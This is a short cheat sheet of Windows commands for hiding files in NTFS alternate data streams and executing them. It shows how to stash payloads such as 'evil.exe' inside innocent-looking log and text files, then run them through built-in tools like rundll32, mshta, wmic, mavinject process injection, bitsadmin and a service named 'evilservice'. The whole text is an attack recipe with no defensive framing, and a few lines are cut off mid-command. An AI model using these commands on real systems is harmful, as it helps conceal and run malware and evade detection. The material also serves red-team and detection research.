Fun with Alternate Data Streams

###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\ c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe –output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i: ^scrobj.dll > fakefile.doc:reg32.bat
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe" -DownloadFile -url -path c:\\temp\\1.txt:7-zip.exe
###Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
###Executing the ADS content###
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
* Powershell.exe
powershell -ep bypass – < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
* Cmd.exe
cmd.exe – < fakefile.doc:reg32.bat
* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
* bash.exe
echo calc > && bash <
bash.exe -c $(
* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i: Textfile.txt:LoveADS
### Write registry
regini.exe file.txt:hidden.ini
From @elisalem9

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